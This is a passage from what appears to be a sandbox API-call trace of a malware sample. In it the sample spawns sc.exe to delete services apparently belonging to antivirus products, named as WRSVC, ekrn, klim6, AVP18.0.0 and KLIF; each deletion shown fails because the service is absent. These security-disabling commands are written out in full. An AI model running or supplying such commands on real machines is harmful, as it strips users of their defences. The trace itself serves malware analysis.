[0077.549] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x18f5f0, nSize=0x2, Arguments=0x18f620 | out: lpBuffer="跀\x1b") returned 0x62 [0077.549] GetFileType (hFile=0x120) returned 0x3 [0077.549] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1b8ea0 [0077.549] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1b8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1b", lpUsedDefaultChar=0x0) returned 98 [0077.549] WriteFile (in: hFile=0x120, lpBuffer=0x1b8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x18f598, lpOverlapped=0x0 | out: lpBuffer=0x1b8ea0*, lpNumberOfBytesWritten=0x18f598*=0x62, lpOverlapped=0x0) returned 1 [0077.549] LocalFree (hMem=0x1b8ea0) returned 0x0 [0077.549] LocalFree (hMem=0x1b8dc0) returned 0x0 [0077.549] LocalFree (hMem=0x0) returned 0x0 [0077.549] CloseServiceHandle (hSCObject=0x1b43e0) returned 1 [0077.551] exit (_Code=1060) Thread: id = 79 os_tid = 0x944 Process: id = "40" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x466c7000" os_pid = "0x964" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete WRSVC" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 80 os_tid = 0x974 [0077.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10f7f0 | out: lpSystemTimeAsFileTime=0x10f7f0*(dwLowDateTime=0x37af8130, dwHighDateTime=0x1d62786)) [0077.601] GetCurrentProcessId () returned 0x964 [0077.601] GetCurrentThreadId () returned 0x974 [0077.601] GetTickCount () returned 0x114979e [0077.601] QueryPerformanceCounter (in: lpPerformanceCount=0x10f7f8 | out: lpPerformanceCount=0x10f7f8*=19747474520) returned 1 [0077.605] GetModuleHandleW (lpModuleName=0x0) returned 0xff790000 [0077.605] __set_app_type (_Type=0x1) [0077.605] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff797228) returned 0x0 [0077.606] __wgetmainargs (in: _Argc=0xff79b604, _Argv=0xff79b610, _Env=0xff79b608, _DoWildCard=0, _StartInfo=0xff79b050 | out: _Argc=0xff79b604, _Argv=0xff79b610, _Env=0xff79b608) returned 0 [0077.606] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.609] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0077.609] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0077.609] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0077.609] _wcsicmp (_String1="delete", _String2="query") returned -13 [0077.609] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0077.609] _wcsicmp (_String1="delete", _String2="start") returned -15 [0077.609] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0077.609] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0077.609] _wcsicmp (_String1="delete", _String2="control") returned 1 [0077.609] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0077.609] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0077.609] _wcsicmp (_String1="delete", _String2="config") returned 1 [0077.609] _wcsicmp (_String1="delete", _String2="description") returned -7 [0077.609] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0077.609] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0077.609] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0077.609] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0077.609] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0077.609] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0077.610] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0077.610] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0077.610] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0077.610] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0077.610] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0077.610] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0077.610] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0077.610] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0077.610] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0077.610] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0077.610] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0077.610] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0077.610] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x124370 [0077.614] OpenServiceW (hSCManager=0x124370, lpServiceName="WRSVC", dwDesiredAccess=0x10000) returned 0x0 [0077.615] GetLastError () returned 0x424 [0077.615] _itow (in: _Dest=0x424, _Radix=1111640 | out: _Dest=0x424) returned="1060" [0077.615] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff79b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0077.617] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x10f610, nSize=0x2, Arguments=0x10f640 | out: lpBuffer="跀\x12") returned 0x62 [0077.617] GetFileType (hFile=0x120) returned 0x3 [0077.617] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x128ea0 [0077.617] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x128ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x12", lpUsedDefaultChar=0x0) returned 98 [0077.617] WriteFile (in: hFile=0x120, lpBuffer=0x128ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x10f5b8, lpOverlapped=0x0 | out: lpBuffer=0x128ea0*, lpNumberOfBytesWritten=0x10f5b8*=0x62, lpOverlapped=0x0) returned 1 [0077.618] LocalFree (hMem=0x128ea0) returned 0x0 [0077.618] LocalFree (hMem=0x128dc0) returned 0x0 [0077.618] LocalFree (hMem=0x0) returned 0x0 [0077.618] CloseServiceHandle (hSCObject=0x124370) returned 1 [0077.620] exit (_Code=1060) Thread: id = 81 os_tid = 0x994 Process: id = "41" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x46ecc000" os_pid = "0x9a4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete ekrn" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 82 os_tid = 0x9c4 [0077.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fb90 | out: lpSystemTimeAsFileTime=0x16fb90*(dwLowDateTime=0x37b906b0, dwHighDateTime=0x1d62786)) [0077.675] GetCurrentProcessId () returned 0x9a4 [0077.675] GetCurrentThreadId () returned 0x9c4 [0077.675] GetTickCount () returned 0x11497dd [0077.675] QueryPerformanceCounter (in: lpPerformanceCount=0x16fb98 | out: lpPerformanceCount=0x16fb98*=19754855622) returned 1 [0077.677] GetModuleHandleW (lpModuleName=0x0) returned 0xfffc0000 [0077.677] __set_app_type (_Type=0x1) [0077.677] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffc7228) returned 0x0 [0077.677] __wgetmainargs (in: _Argc=0xfffcb604, _Argv=0xfffcb610, _Env=0xfffcb608, _DoWildCard=0, _StartInfo=0xfffcb050 | out: _Argc=0xfffcb604, _Argv=0xfffcb610, _Env=0xfffcb608) returned 0 [0077.678] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.681] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0077.681] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0077.681] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0077.681] _wcsicmp (_String1="delete", _String2="query") returned -13 [0077.681] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0077.681] _wcsicmp (_String1="delete", _String2="start") returned -15 [0077.681] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0077.681] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0077.681] _wcsicmp (_String1="delete", _String2="control") returned 1 [0077.681] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0077.681] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0077.681] _wcsicmp (_String1="delete", _String2="config") returned 1 [0077.681] _wcsicmp (_String1="delete", _String2="description") returned -7 [0077.681] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0077.681] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0077.681] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0077.681] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0077.681] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0077.682] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0077.682] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0077.682] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0077.682] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0077.682] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0077.682] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0077.682] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0077.682] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0077.682] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0077.682] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0077.682] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0077.682] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0077.682] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0077.682] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1d4360 [0077.686] OpenServiceW (hSCManager=0x1d4360, lpServiceName="ekrn", dwDesiredAccess=0x10000) returned 0x0 [0077.686] GetLastError () returned 0x424 [0077.687] _itow (in: _Dest=0x424, _Radix=1505784 | out: _Dest=0x424) returned="1060" [0077.687] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xfffcb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0077.689] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x16f9b0, nSize=0x2, Arguments=0x16f9e0 | out: lpBuffer="趰\x1d") returned 0x62 [0077.689] GetFileType (hFile=0x120) returned 0x3 [0077.689] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1d8e90 [0077.689] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1d8e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1d", lpUsedDefaultChar=0x0) returned 98 [0077.689] WriteFile (in: hFile=0x120, lpBuffer=0x1d8e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x16f958, lpOverlapped=0x0 | out: lpBuffer=0x1d8e90*, lpNumberOfBytesWritten=0x16f958*=0x62, lpOverlapped=0x0) returned 1 [0077.689] LocalFree (hMem=0x1d8e90) returned 0x0 [0077.689] LocalFree (hMem=0x1d8db0) returned 0x0 [0077.689] LocalFree (hMem=0x0) returned 0x0 [0077.689] CloseServiceHandle (hSCObject=0x1d4360) returned 1 [0077.692] exit (_Code=1060) Thread: id = 83 os_tid = 0x9d4 Process: id = "42" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x456d1000" os_pid = "0x9f4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete klim6" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 84 os_tid = 0xa04 [0077.745] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1af9d0 | out: lpSystemTimeAsFileTime=0x1af9d0*(dwLowDateTime=0x37c4ed90, dwHighDateTime=0x1d62786)) [0077.745] GetCurrentProcessId () returned 0x9f4 [0077.745] GetCurrentThreadId () returned 0xa04 [0077.745] GetTickCount () returned 0x114982b [0077.745] QueryPerformanceCounter (in: lpPerformanceCount=0x1af9d8 | out: lpPerformanceCount=0x1af9d8*=19761888748) returned 1 [0077.747] GetModuleHandleW (lpModuleName=0x0) returned 0xff6d0000 [0077.747] __set_app_type (_Type=0x1) [0077.747] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff6d7228) returned 0x0 [0077.747] __wgetmainargs (in: _Argc=0xff6db604, _Argv=0xff6db610, _Env=0xff6db608, _DoWildCard=0, _StartInfo=0xff6db050 | out: _Argc=0xff6db604, _Argv=0xff6db610, _Env=0xff6db608) returned 0 [0077.748] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.750] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0077.750] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0077.750] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0077.750] _wcsicmp (_String1="delete", _String2="query") returned -13 [0077.750] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0077.750] _wcsicmp (_String1="delete", _String2="start") returned -15 [0077.750] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0077.750] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0077.750] _wcsicmp (_String1="delete", _String2="control") returned 1 [0077.750] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0077.750] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0077.750] _wcsicmp (_String1="delete", _String2="config") returned 1 [0077.750] _wcsicmp (_String1="delete", _String2="description") returned -7 [0077.750] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0077.750] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0077.750] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0077.750] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0077.750] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0077.750] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0077.750] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0077.750] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0077.750] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0077.750] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0077.751] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0077.751] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0077.751] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0077.751] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0077.751] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0077.751] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0077.751] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0077.751] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0077.751] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x294370 [0077.756] OpenServiceW (hSCManager=0x294370, lpServiceName="klim6", dwDesiredAccess=0x10000) returned 0x0 [0077.757] GetLastError () returned 0x424 [0077.757] _itow (in: _Dest=0x424, _Radix=1767480 | out: _Dest=0x424) returned="1060" [0077.757] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff6db740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0077.759] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1af7f0, nSize=0x2, Arguments=0x1af820 | out: lpBuffer="跀)") returned 0x62 [0077.759] GetFileType (hFile=0x120) returned 0x3 [0077.759] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x298ea0 [0077.759] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x298ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n)", lpUsedDefaultChar=0x0) returned 98 [0077.759] WriteFile (in: hFile=0x120, lpBuffer=0x298ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1af798, lpOverlapped=0x0 | out: lpBuffer=0x298ea0*, lpNumberOfBytesWritten=0x1af798*=0x62, lpOverlapped=0x0) returned 1 [0077.759] LocalFree (hMem=0x298ea0) returned 0x0 [0077.759] LocalFree (hMem=0x298dc0) returned 0x0 [0077.759] LocalFree (hMem=0x0) returned 0x0 [0077.760] CloseServiceHandle (hSCObject=0x294370) returned 1 [0077.761] exit (_Code=1060) Thread: id = 85 os_tid = 0xa18 Process: id = "43" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x44ed6000" os_pid = "0xaa8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete \"AVP18.0.0\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 86 os_tid = 0xadc [0077.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afa30 | out: lpSystemTimeAsFileTime=0x1afa30*(dwLowDateTime=0x37d335d0, dwHighDateTime=0x1d62786)) [0077.843] GetCurrentProcessId () returned 0xaa8 [0077.843] GetCurrentThreadId () returned 0xadc [0077.843] GetTickCount () returned 0x1149888 [0077.843] QueryPerformanceCounter (in: lpPerformanceCount=0x1afa38 | out: lpPerformanceCount=0x1afa38*=19771679725) returned 1 [0077.843] GetModuleHandleW (lpModuleName=0x0) returned 0xffa60000 [0077.843] __set_app_type (_Type=0x1) [0077.844] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffa67228) returned 0x0 [0077.844] __wgetmainargs (in: _Argc=0xffa6b604, _Argv=0xffa6b610, _Env=0xffa6b608, _DoWildCard=0, _StartInfo=0xffa6b050 | out: _Argc=0xffa6b604, _Argv=0xffa6b610, _Env=0xffa6b608) returned 0 [0077.844] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.847] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0077.848] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0077.848] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0077.848] _wcsicmp (_String1="delete", _String2="query") returned -13 [0077.848] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0077.848] _wcsicmp (_String1="delete", _String2="start") returned -15 [0077.848] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0077.848] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0077.848] _wcsicmp (_String1="delete", _String2="control") returned 1 [0077.848] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0077.848] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0077.848] _wcsicmp (_String1="delete", _String2="config") returned 1 [0077.848] _wcsicmp (_String1="delete", _String2="description") returned -7 [0077.848] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0077.848] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0077.848] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0077.848] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0077.848] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0077.848] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0077.848] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0077.849] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0077.849] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0077.849] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0077.849] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0077.849] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0077.849] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0077.849] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0077.849] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0077.849] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0077.849] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0077.849] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0077.849] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1f4370 [0077.854] OpenServiceW (hSCManager=0x1f4370, lpServiceName="AVP18.0.0", dwDesiredAccess=0x10000) returned 0x0 [0077.855] GetLastError () returned 0x424 [0077.855] _itow (in: _Dest=0x424, _Radix=1767576 | out: _Dest=0x424) returned="1060" [0077.855] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffa6b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0077.857] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1af850, nSize=0x2, Arguments=0x1af880 | out: lpBuffer="跀\x1f") returned 0x62 [0077.857] GetFileType (hFile=0x120) returned 0x3 [0077.857] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1f8ea0 [0077.857] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1f8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1f", lpUsedDefaultChar=0x0) returned 98 [0077.857] WriteFile (in: hFile=0x120, lpBuffer=0x1f8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1af7f8, lpOverlapped=0x0 | out: lpBuffer=0x1f8ea0*, lpNumberOfBytesWritten=0x1af7f8*=0x62, lpOverlapped=0x0) returned 1 [0077.857] LocalFree (hMem=0x1f8ea0) returned 0x0 [0077.857] LocalFree (hMem=0x1f8dc0) returned 0x0 [0077.858] LocalFree (hMem=0x0) returned 0x0 [0077.858] CloseServiceHandle (hSCObject=0x1f4370) returned 1 [0077.860] exit (_Code=1060) Thread: id = 87 os_tid = 0xb5c Process: id = "44" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x461db000" os_pid = "0x644" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete KLIF" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 88 os_tid = 0x600 [0077.911] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12fcb0 | out: lpSystemTimeAsFileTime=0x12fcb0*(dwLowDateTime=0x37df1cb0, dwHighDateTime=0x1d62786)) [0077.911] GetCurrentProcessId () returned 0x644 [0077.911] GetCurrentThreadId () returned 0x600 [0077.911] GetTickCount () returned 0x11498d6 [0077.911] QueryPerformanceCounter (in: lpPerformanceCount=0x12fcb8 | out: lpPerformanceCount=0x12fcb8*=19778476952) returned 1 [0077.912] GetModuleHandleW (lpModuleName=0x0) returned 0xff6a0000 [0077.912] __set_app_type (_Type=0x1) [0077.912] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff6a7228) returned 0x0 [0077.913] __wgetmainargs (in: _Argc=0xff6ab604, _Argv=0xff6ab610, _Env=0xff6ab608, _DoWildCard=0, _StartInfo=0xff6ab050 | out: _Argc=0xff6ab604, _Argv=0xff6ab610, _Env=0xff6ab608) returned 0 [0077.913] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.915] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0077.915] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0077.915] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0077.915] _wcsicmp (_String1="delete", _String2="query") returned -13 [0077.915] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0077.915] _wcsicmp (_String1="delete", _String2="start") returned -15 [0077.915] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0077.915] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0077.915] _wcsicmp (_String1="delete", _String2="control") returned 1 [0077.915] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0077.915] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0077.915] _wcsicmp (_String1="delete", _String2="config") returned 1 [0077.915] _wcsicmp (_String1="delete", _String2="description") returned -7 [0077.915] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0077.915] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0077.915] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0077.916] 